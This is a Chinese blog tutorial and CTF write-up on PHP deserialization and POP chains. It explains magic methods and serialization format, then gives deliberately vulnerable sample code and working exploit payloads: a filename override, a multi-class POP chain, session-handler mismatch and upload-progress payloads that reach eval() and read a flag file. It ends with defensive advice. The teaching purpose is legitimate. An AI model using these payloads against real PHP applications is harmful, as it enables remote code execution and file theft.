V0W's Blog

php反序列化与POP链

字数统计: 4,214阅读时长: 18 min
2020/03/05 Share

php反序列化与POP链

0x00 前言

php反序列化是很久之前就接触的漏洞,但是一直都没有深入的学习,只是知道一个大概,POP链的构造也不是很熟练,于是今天总结一下。本文将详细介绍php反序列化原理,为什么有的时候序列的payload无效,POP链的构造以及Session的反序列化下一节会具体学习如何利用phar协议扩展php反序列化的攻击面。

0x01 反序列化基本知识

1.1 序列化与反序列化

序列化:将变量(通常是数组和对象)转换为可保存或传输的字符串

反序列化:在适当的时候把这个字符串再转化成原来的变量(通常是数组和对象)使用。

这两个过程结合起来,可以轻松地存储和传输数据,使程序更具维护性。反序列化本身不是漏洞,但如果反序列化的内容可控,就容易导致漏洞。

1.2 php魔术方法

PHP提供了许多“魔术”方法,这些方法由两个下划线前缀(__)标识。它们充当拦截器,在满足某些条件时会自动调用它们。 魔术方法提供了一些极其有用的功能。

常见的魔术方法有:

  1. __contruct() 当一个对象创建时被调用
  2. __destruct() 当一个对象销毁前被调用
  3. __sleep() 在对象被序列化前被调用
  4. __wakeup 将在反序列化之后立即被调用
  5. __toString 当一个对象被当做字符串使用时被调用

  6. __get(),__set() 当调用或设置一个类及其父类方法中未定义的属性

  7. __invoke() 调用函数的方式调用一个对象时的回应方法
  8. __call__callStatic前者是调用类不存在的方法时执行,而后者是调用类不存在的静态方式方法时执行。

通过调试下面这个程序,会对魔术方法的调用有更直观的认识,强烈建议单步调试一遍。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
<?php

# 设置一个类A
class A{
private $name = "V0W";
function __construct()
{
echo "__construct() call\n";
}

function __destruct()
{
echo "\n__destruct() call\n";
}

function __toString()
{
return "__toString() call\n";
}
function __sleep()
{
echo "__sleep() call\n";
return array("name");
}
function __wakeup()
{
echo "__wakeup() call\n";
}
function __get($a)
{
echo "__get() call\n";
return $this->name;
}
function __set($property, $value)
{ echo "\n__set() call\n";
$this->$property = $value;
}
function __invoke()
{
echo "__invoke() call\n";
}
}

//调用 __construct()
$a = new A();

//调用 __toSting()
echo $a;

//调用 __sleep()
$b = serialize($a);
echo $b;
//调用 __wakeup()
$c = unserialize($b);
echo $c;
//不存在这个bbbb属性,调用 __get()
echo $a->bbbb;

//name是私有变量,不允许修改,调用 __set()
$a->name = "pro";
echo $a->name;
//将对象作为函数,调用 __invoke()
$a();

//程序结束,调用 __destruct() (会调用两次__destruct,因为中间有一次反序列化)

1.3 序列化后的字符串形式

一个序列化的字符串:

1
2
3
4
5
//O:4:"Test":2:{s:4:"test";s:2:"ok";s:3:"var";N;}


O代表这是一个对象,4代表对象名称的长度,2代表成员个数。
大括号中分别是:属性名类型、长度、名称;值类型、长度、值。

另外,注意到不同权限的属性,序列化之后的字符串存在区别:

public

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
class Test{
public $test;
}
$t = new Test();
$data = serialize($t);
echo($data);
file_put_contents("serialize.txt", $data);

//O:4:"Test":2:{s:4:"test";s:2:"ok";s:3:"var";N;}

//O: 对象 4(类的名字长度为4)"Test"类名称
//2 (对象含有的属性数量)
//s:属性是字符串 4 是属性名称的长度 "test" 属性名称 s:2:"ok" 属性是字符串,长度2,值为"ok"
// s:另一个属性是字符串,3长度,var,属性值,N NULL另一个属性初始值为空

可以看到,public的属性,序列化后的值就是属性的名称和对应的值

private

换成private权限,属性在序列化后也会出现区别,用010editor容易看出。

1
2
3
4
5
6
7
8
9
<?php
class Test{
private $test='ok';
private $var;
}
$t = new Test();
$data = serialize($t);
echo($data);
file_put_contents("serialize.txt", $data);

属性名变成了%00Test%00test%00Test%00var

也就是%00类名%00属性名

protected

换成protected, 属性序列化之后又变了,属性名变成了%00*%00test%00*%00var

也就是%00*%00属性名

注意到这些对构造序列化的字符串很关键,当我们直接将private protected的属性进行序列化,得到的序列化字符串的payload将无效,因为0x00的缘故。但是通过urlencode就可以避免这种当时可能会看起来莫名其妙的”bug“(个人经验==、)。

0x02 php反序列化漏洞

反序列化本身不是漏洞,但是如果类的某些属性可控,那么在反序列的过程中就会自动的执行魔术方法,从而导致安全问题。

所以,通常反序列化漏洞的成因在于代码中的 __unserialize(),__wakeup()等魔术方法接收的参数可控,这个函数的参数是一个序列化的对象,而序列化的对象只含有对象的属性,那我们就要利用对对象属性的篡改实现最终的攻击。

下面举一个简单的例子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
// flag is in flag.php
class popdemo
{
private $filename = 'demo.php';
public function __wakeup()
{
// TODO: Implement __wakeup() method.
$this->show($this->filename);
}
public function show($filename)
{
show_source($filename);
}
}

unserialize($_POST['a']);

上面的代码是接收一个参数a,然后将其反序列化,反序列化后,会调用__wakeup()方法。如果一切正常的话,这个方法是显示一下demo.php文件的源代码。但是参数a是可控的,也就是说对象a的属性是可控的。于是我们可以伪造一个filename来构造对象。

EXP

1
2
3
4
5
6
7
<?php
class popdemo
{
private $filename = "flag.php";
}
$p = new popdemo();
echo urlencode(serialize($p));

可以看到,当我们对象参数可控时,可以伪造对象的一些属性,从而实现任意文件读取等操作。

正如,之前所说, 如果我们没有urlencode,就会得到一个无效的payload:

1
2
3
4
5
O:7:"popdemo":1:{s:17:
0x00之后会截断

这样是可以的:
a=O:7:"popdemo":1:{s:17:"%00popdemo%00filename";s:8:"flag.php";}

0x03 POP链的构造

2.1 什么是POP链

玩过 pwn 的同学应该对 ROP 并不陌生,ROP 的全称是面向返回编程(Return-Oriented Programing),ROP 链构造中是寻找当前系统环境中或者内存环境里已经存在的、具有固定地址且带有返回操作的指令集,将这些本来无害的片段拼接起来,形成一个连续的层层递进的调用链,最终达到我们的执行 libc 中函数或者是 systemcall 的目的

POP 面向属性编程(Property-Oriented Programing) 常用于上层语言构造特定调用链的方法,与二进制利用中的面向返回编程(Return-Oriented Programing)的原理相似,都是从现有运行环境中寻找一系列的代码或者指令调用,然后根据需求构成一组连续的调用链,最终达到攻击者邪恶的目的

说的再具体一点就是 ROP 是通过栈溢出实现控制指令的执行流程,而我们的反序列化是通过控制对象的属性从而实现控制程序的执行流程,进而达成利用本身无害的代码进行有害操作的目的

来自K0rz3n大佬

我的理解是:构造一个完整的调用链,该调用链与原来代码的调用链一致,不过部分属性被我们所控制,从而达到攻击目的。构造的这条链就是POP链。

2.2 用一个实例说明如何构造POP链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
<?php
//flag is in flag.php
error_reporting(1);
class Read {
public $var;
public function file_get($value)
{
$text = base64_encode(file_get_contents($value));
return $text;
}
public function __invoke(){
$content = $this->file_get($this->var);
echo $content;
}
}

class Show
{
public $source;
public $str;
public function __construct($file='index.php')
{
$this->source = $file;
echo $this->source.'Welcome'."<br>";
}
public function __toString()
{
return $this->str['str']->source;
}

public function _show()
{
if(preg_match('/gopher|http|ftp|https|dict|\.\.|flag|file/i',$this->source)) {
die('hacker');
} else {
highlight_file($this->source);
}

}

public function __wakeup()
{
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}

class Test
{
public $p;
public function __construct()
{
$this->p = array();
}

public function __get($key)
{
$function = $this->p;
return $function();
}
}

if(isset($_GET['hello']))
{
unserialize($_GET['hello']);
}
else
{
$show = new Show('pop3.php');
$show->_show();
}
  1. 先看读文件的函数在哪:Read.file_get里面有一个file_get_contents Show._show()中有一个highlight_file
  2. 我们可控的是hello参数,调用unserialize()函数,即__wakeup()魔术方法,于是就只有Show类中存在该方法,但是注意到在Show.__wakeup()中存在一个正则匹配,这个正则匹配会将$this->source当成字符串来处理。也就是说会调用Show.__toString()方法。
  3. 定位到Show.__toString(),可以将source序列化为Show类的对象,就会调用__toString方法。__toString又会取一个str['str']->source,那么如果这个source不存在的话,就会执行__get()方法。
  4. __get()魔术方法会调用一个$p变量,这个也是可控的,然后会将p当做函数调用,此时触发了Read.__invoke()魔术方法
  5. __invoke魔术方法会触发file_get()函数,进而base64_encode(file_get_contents($value))最终达到读文件的目的。

这样一条完整的链就分析完了:

1
hello -> __wakeup -> Show._show -> Show.__toString -> (不存在属性)Test.__get() -> Read.__invoke

注意对象关系(hello是Show的对象,source属性是Test的对象,p属性是Read的对象),然后写一个POP链的对应EXP,就可以了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
class Read {
public $var="flag.php";

}

class Show
{
public $source;
public $str;
}

class Test
{
public $p;
}

$show = new Show();
$test = new Test();
$read = new Read();
$test->p = $read;
$show->source = $show;
$show->str['str'] = $test;

echo serialize($show);//在存在private和protected属性的情况下还是需要使用urlencode的。
?>

0x03 php的Session反序列化问题

3.1 PHP的Session存储机制

php.ini有一下配置项用于控制Session有关的设置:

1
2
3
4
session.save_path="D:\xampp\tmp"    表明所有的session文件都是存储在xampp/tmp下
session.save_handler=files 表明session是以文件的方式来进行存储的
session.auto_start=0 表明默认不启动session
session.serialize_handler=php 表明session的默认序列话引擎使用的是php序列话引擎

PHP中有多种session的序列话引擎,当我设置session为$_SESSION["name"] = "V0W";时。不同的引擎保存的session文件内容如下:

1
2
3
4
5
6
7
8
9
10
11
php: 
name|s:3:"V0W";
存储方式是,键名的长度对应的ASCII字符+键名+经过serialize()函数序列化处理的值

php_binary:
names:3:"V0W";
存储方式是,键名+竖线+经过serialize()函数序列处理的值

php_serialize(php>5.5.4):
a:1:{s:4:"name";s:3:"V0W";}
存储方式是,经过serialize()函数序列化处理的值

切换不同引擎使用的函数:

ini_set('session.serialize_handler', '调用引擎');

1
2
3
4
5
<?php
ini_set('session.serialize_handler', 'php_binary');
session_start();
$_SESSION['name'] = "V0W";
?>

另外文件名,其实是PHPSESSIONID的值

3.2 PHP的Session反序列化漏洞原理

如果在PHP在反序列化存储的$_SESSION数据时使用的引擎和序列化使用的引擎不一样,会导致数据无法正确地反序列化。如果session值可控,则可通过构造特殊的session值导致反序列化漏洞。

用原文的一个例子:

session.php

1
2
3
4
<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION["spoock"]=$_GET["a"];

session2.php

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
ini_set('session.serialize_handler', 'php');
session_start();
class lemon {
var $hi;
function __construct(){
$this->hi = 'phpinfo();';
}

function __destruct() {
eval($this->hi);
}
}

session.php中的Session是可控的,但是反序列的魔术方法在session2.php中,而session中的参数无法直接可控。

这个时候,就可以利用两个的php的session存储机制的不同实现session的反序列化攻击。

具体说:

  1. 将payload用session.php,控制存储在指定文件中。

    1
    session.php?a=|O:5:"lemon":1:{s:2:"hi";s:14:"echo "spoock";";}

    此时传入的数据会按照php_serialize来进行序列化,并存储到文件中。

  2. 再访问session2.php,页面输出spoock,成功执行我们构造的函数。因为在访问session2.php时,程序会按照php来反序列化SESSION中的数据(因为同域PHPSESSIONID是一样的,之前存的session也适用),此时就会反序列化伪造的数据,就会实例化lemon对象,最后就会执行析构函数中的eval()方法。

  3. 可以单步调试一下,更容易理解这两个过程。

3.3 更进一步的Session反序列化利用

上述的利用达到了攻击目的,但是,局限性比较大,我们看一下条件:

  1. 两个文件session引擎配置不同
  2. 其中一个session可控
  3. 两个文件同域

如何更进一步的利用,或者较少限制的利用Session反序列化呢?

有趣的php反序列化总结中介绍了另一种Session反序列化漏洞的利用方式。

当PHP中session.upload_progress.enabled打开时,php会记录上传文件的进度,在上传时会将其信息保存在$_SESSION中。phpbugs详情(还有老外的讨论也可以看一下)

看一下这个漏洞(我为其命名:上传程序Session漏洞)出现的条件:

  1. session.upload_progress.enabled = On (是否启用上传进度报告)
  2. session.upload_progress.cleanup = Off (是否上传完成之后删除session文件)

符合条件时,上传文件进度的报告就会以写入到session文件中,所以我们可以设置一个与session.upload_progress.name同名的变量(默认名为PHP_SESSION_UPLOAD_PROGRESS),PHP检测到这种同名请求会在$_SESSION中添加一条数据。我们就可以控制这个数据内容为我们的恶意payload。

3.4 实例

用jarvisoj上一个题目作为实例,题目链接

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO
{
public $mdzz;
function __construct()
{
$this->mdzz = 'phpinfo();';
}

function __destruct()
{
eval($this->mdzz);
}
}
if(isset($_GET['phpinfo']))
{
$m = new OowoO();
}
else
{
highlight_string(file_get_contents('index.php'));
}
?>

容易发现,OowoO.__destruct()存在代码执行,但是没有可控参数进行利用。

然后发现符合上传程序Session漏洞的条件:

接下来就是如何利用的问题了,我们知道这个漏洞出在上传时的Session存储问题上,所以我们可以利用上传来写入。

先自己写一个简单的上传页面upload.html:

1
2
3
4
5
<form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="" />
<input type="file" name="file" />
<input type="submit" />
</form>

poc.php

1
2
3
4
5
6
7
8
9
<?php
class OowoO
{
public $mdzz;
}
$a = new OowoO();
$a->mdzz = "print_r(scandir(__dir__));";
echo serialize($a);
?>

注意到phpinfo中,禁用了exec,system等函数,注意用print_r绕过。

再从phpinfo中的SCRIPT_FILENAME字段得到根目录地址:/opt/lampp/htdocs/,构造得到payload:

1
O:5:"OowoO":1:{s:4:"mdzz";s:88:"print_r(file_get_contents('/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php'));";}

0x04 反序列化的防御

因为反序列化的缺陷可能导致远程代码执行等严重的攻击,所以我们需要对其进行防护:

  1. 对传入 unserilize() 的参数,进行严格地过滤。
  2. 在文件系统函数的参数可控时,进行严格地过滤。
  3. 严格检查上传文件内容,不能只是单纯地检查文件头(phar)
  4. 条件允许的情况下,禁用可执行系统命令、代码的危险函数。
  5. 注意不同类中的同名方法的编写,避免被用作反序列化的跳板。
  6. Session方面,一个是多文件间使用一种序列化引擎;二是尽量不要让session可控;三是保持session.upload_progress.cleanup = On (上传完成之后删除session文件)

0xff 参考链接

  1. 一篇文章带你深入理解漏洞之 PHP 反序列化漏洞 2018,11 k0rn3n
  2. PHP反序列化进阶学习与总结, Threezh1, 先知社区
  3. PHP中SESSION反序列化机制, Spoock
  4. 有趣的php反序列化总结
  5. php反序列化 2019,04 llfam
CATALOG
  1. 1. php反序列化与POP链
    1. 1.1. 0x00 前言
    2. 1.2. 0x01 反序列化基本知识
      1. 1.2.1. 1.1 序列化与反序列化
      2. 1.2.2. 1.2 php魔术方法
      3. 1.2.3. 1.3 序列化后的字符串形式
    3. 1.3. 0x02 php反序列化漏洞
    4. 1.4. 0x03 POP链的构造
      1. 1.4.1. 2.1 什么是POP链
      2. 1.4.2. 2.2 用一个实例说明如何构造POP链
    5. 1.5. 0x03 php的Session反序列化问题
      1. 1.5.1. 3.1 PHP的Session存储机制
      2. 1.5.2. 3.2 PHP的Session反序列化漏洞原理
      3. 1.5.3. 3.3 更进一步的Session反序列化利用
      4. 1.5.4. 3.4 实例
    6. 1.6. 0x04 反序列化的防御
    7. 1.7. 0xff 参考链接